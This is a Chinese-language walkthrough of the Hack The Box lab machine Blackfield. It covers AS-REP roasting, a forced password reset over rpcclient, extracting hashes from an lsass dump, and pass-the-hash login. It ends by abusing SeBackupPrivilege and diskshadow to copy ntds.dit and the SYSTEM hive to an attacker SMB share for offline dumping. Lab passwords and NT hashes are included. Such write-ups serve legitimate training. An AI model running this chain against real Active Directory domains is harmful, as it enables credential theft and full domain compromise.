HTB 学习笔记
【Hack The Box】windows练习-- Blackfield
🔥系列专栏:Hack The Box
🎉欢迎关注🔎点赞👍收藏⭐️留言📝
📆首发时间:🌴2022年11月17日🌴
🍭作者水平很有限,如果发现错误,还望告知,感谢!
文章目录
- HTB 学习笔记
- 信息收集
- 我看ldap
- 我看53dns
- 我看445smb
- 我看88kerbrute
- 我进一步分析
- rpc协助修改密码
- SeBackupPrivilege
- 公开卷影复制服务 (VSS)
信息收集
53/tcp open domain?
| fingerprint-strings:
| DNSVersionBindReqTCP:
| version
|_ bind
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2020-06-08 02:33:08Z)
135/tcp open msrpc Microsoft Windows RPC
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: BLACKFIELD.local0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: BLACKFIELD.local0., Site: Default-First-Site-Name)
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port53-TCP:V=7.80%I=7%D=6/7%Time=5EDD4080%P=x86_64-pc-linux-gnu%r(DNSVe
SF:rsionBindReqTCP,20,"\0\x1e\0\x06\x81\x04\0\x01\0\0\0\0\0\0\x07version\x
SF:04bind\0\0\x10\0\x03");
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: 7h02m00s
| smb2-security-mode:
| 2.02:
|_ Message signing enabled and required
| smb2-time:
| date: 2020-06-08T02:35:25
|_ start_date: N/A
root@kali# nmap -sU -p- --min-rate 10000 -oA scans/nmap-alludp 10.10.10.192
Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-07 15:46 EDT
Nmap scan report for 10.10.10.192
Host is up (0.015s latency).
Not shown: 65533 open|filtered ports
PORT STATE SERVICE
53/udp open domain
389/udp open ldap
我看ldap
获得了如下信息
放入hosts
(Domain: BLACKFIELD.local0., Site: Default-First-Site-Name)
ldapsearch -h 10.10.10.192 -x -s base namingcontexts
得到
DomainDnsZones.blackfield.local 和 ForestDnsZones.blackfield.local
这两个要接着dig
没有什么有用信息
我看53dns
dig axfr @10.10.10.192 blackfield.local
dig @10.10.10.192 blackfield.local
我看445smb
crackmapexec smb 10.10.10.192
smbmap -H 10.129.13.243 -u null
有很多目录,但都是空的
但是长得比较像用户名,所以我们
采取挂载到本地而后ls到文本
mount -t cifs //10.10.10.192/profiles$ /mnt
mv users users.old; ls -1 /mnt/ > users
-1是每行只打印一个
我看88kerbrute
就像在 Forest 中一样,我可以检查此用户列表中是否有 UF_DONT_REQUIRE_PREAUTH标志设置为真。 对于这些用户,请求 Kerberos 票证将生成一个哈希,我可以尝试用蛮力破解该哈希,而无需我在域上拥有任何有价值的用户凭据。
我会用 GetNPUsers.py测试每个用户,因为我知道成功的响应将包含一个哈希 krb5asrep在其中,我会用 grep 来查看任何成功的结果。 它运行了几分钟,但找到了一个结果:
用户名字典就从刚才的那个里面获取
kerbrute userenum --dc 10.10.10.192 -d blackfield users.txt
impacket-GetNPUsers blackfield/ -no-pass -dc-ip 10.10.10.192 -usersfile valid_users.txt
得到一个hash密码,解密得到密码为
我进一步分析
得到凭据之后,由于大部分凭据的通用性,所以我们采用要进行密码喷洒来获取更大范围的胜利
crackmapexec winrm 10.10.10.192 -u support -p '#00^BlackKnight'
发现smb可以登陆,所以登录
smbmap -H 10.10.10.192 -u support -p '#00^BlackKnight'
但是发现没啥有价值的
profiles$仍然有相同的目录,都是空的。
NETLOGON完全是空的。
SYSVOL有五个文件,但没有一个文件对我有用。
开启blood环境
neo4j start
Host : http://localhost:7474
远程信息收集器
bloodhound-python -c ALL -u support -p '#00^BlackKnight' -d blackfield.local -dc dc01.blackfield.local -ns 10.129.13.243
然后有几个js文件,拖进去就行
把自己有凭据的主机设置为已拥有
然后分析也可以是short环节的一些
ForceChangePassword
但是鉴于我们没有shell,所以不能采取常规方法修改autio2020的密码,我们才去rpc的办法
rpc协助修改密码
rpcclient -U 'blackfield.local/support%#00^BlackKnight' 10.129.13.243 -c 'setuserinfo2 audit2020 23 "0xdf!!!"'
检验一下
crackmapexec smb 10.129.13.243 -u audit2020 -p '0xdf!!!'
smbclient -U audit2020 //10.129.13.243/forensic '0xdf!!!'
接着我们继续把盘子做大
发现了很多压缩包
其中lsass.zip 比较敏感
Mimikatz 首先出现是因为它会从 lsass.exe随着反病毒软件开始流行起来,攻击者开始转向。 一个 众所周知的技术 是使用 procdump.exe从 Sysinternals (并由 Microsoft 签名)转储 lsass.exe然后在攻击者控制的空间中提取该内存转储并从中提取哈希值。
这是在另一个文件夹中发现的txt文件,发现了一个新的用户
Ipwn3dYourCompany
pypykatz lsa minidump lsass.DMP |more
INFO:root:Parsing file lsass.DMP
FILE: ======== lsass.DMP =======
[...]
== MSV ==
Username: svc_backup
Domain: BLACKFIELD
LM: NA
NT: 9658d1d1dcd9250115e2205d9f48400d
SHA1: 463c13a9a31fc3252c68ba0a44f0221626a33e5c
9658d1d1dcd9250115e2205d9f48400d
crackmapexec smb 10.129.13.243 -u svc_backup -H 9658d1d1dcd9250115e2205d9f48400d
evil-winrm -i 10.129.13.243 -u svc_backup -H 9658d1d1dcd9250115e2205d9f48400d
SeBackupPrivilege
net user svc_backup //查看组确定在Backup Operators
1. 下载模块
upload /root/Desktop/SeBackupPrivilege-master/SeBackupPrivilegeCmdLets/bin/Debug/SeBackupPrivilegeCmdLets.dll
以及
upload /root/Desktop/SeBackupPrivilege-master/SeBackupPrivilegeCmdLets/bin/Debug/SeBackupPrivilegeUtils.dll
2. 加载模块
import-module .\SeBackupPrivilegeCmdLets.dll
import-module .\SeBackupPrivilegeUtils.dll
3. 利用(主要copy看不了的一个可以看的备份过来)
Copy-FileSeBackupPrivilege C:\Windows\ntds\ntds.dit .
把ntds.dit copy到这希望能打开
但是我们看不了,因为hash库正在使用,所以将采取别的方法
公开卷影复制服务 (VSS)
利用这个方法我们可以阅读被锁定的文件,不是密码锁住,而是进程锁住,例如正在运行的程序
用户 svc_backup 是 Backup Operators 组的成员,正如 net users svc_backup输出。
本地管理员组的成员身份或同等身份是运行 Diskshadow 所需的最低要求。 以及Backup Operators 也可以
域控上存放所有用户的hash库
一般来说直接拿不到,需要公开卷影复制服务 (VSS)
详细步骤如下
所需这个脚本vss.dsh
如果是在kali编辑的可以
最好执行
unix2dos vss.dsh
来更好的为windows执行
1. 写好脚本
-----------------vss.dsh--------------------
set context persistent nowriters
set metadata c:\programdata\df.cab
set verbose on
add volume c: alias df
create
expose %df% z:
---------------------------------------------
2. 上传
upload vss.dsh c:\programdata\vss.dsh
diskshadow /s c:\programdata\vss.dsh
确保所在目录可读可写
3. 建立smb共享,或者你先搞到本地然后传回去也行
4. 传递
Copy-FileSeBackupPrivilege z:\Windows\ntds\ntds.dit \\10.10.14.14\s\ntds.dit
或者直接copy
5. 拿system
reg.exe save hklm\system \\10.10.14.14\system
6. 破解
secretsdump.py -system system -ntds ntds.dit LOCAL
写好之后尝试一下看能不能行,结果可以,
然后就按照上面那一堆操作
到这里开始转储system
全都下载下去
然后按照第6步破解而后拿到hash了用啥登陆都行